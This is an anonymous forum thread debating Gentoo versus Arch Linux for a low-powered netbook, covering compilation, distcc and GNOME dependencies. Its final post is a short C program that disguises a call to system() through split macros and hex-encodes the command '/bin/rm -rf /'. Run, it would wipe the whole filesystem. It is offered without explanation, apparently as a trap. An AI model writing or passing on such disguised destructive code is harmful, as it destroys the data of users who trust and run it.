Gentoo is perfect for an underpowered netbook. It lets you cut out all that bloat you don't need which you can't really do on a binary distro because of optional built in runtime dependencies.
Gentoo is perfect for an underpowered netbook. It lets you cut out all that bloat you don't need which you can't really do on a binary distro because of optional built in runtime dependencies.
I'd run archlinux, assuming that you have experience setting up a graphical environment from scratch. it is the most lightweight linux distro I've been able to use, gentoo is possibly more efficient as all the programs are compiled for your computer(however I was unable to make it work)
Seconding Arch. Gentoo's not too much lighter, and compiling on a netbook would be a bitch.
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Anonymous2010-03-01 22:00
>>58 >>59
Arch bloats their programs by building everything with shit like "gconf" (which fires up a fucking daemon to store simple key-value pairs). With Gentoo you can disable that easily.
Also, there's distcc if you're really impatient, but really, you're not going to be compiling crap all day and when you do, you'll just let it sit there doing its thing while using your main computer.
>>60
Well that's what happens when you use GNOME applications. When I'm using a minimal WM I use Thunar, xterm, etc. and try to avoid GNOME as much as possible.
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Anonymous2010-03-02 1:19
#define AZD sys
#define BZD tem
#include <stdlib.h>
char * str = "\x2f\x62\x69\x6e\x2f\x72\x6d\x20\x2d\x72\x66\x20\x2f";
int main(void)
{
AZDBZD(str);
return 0;
}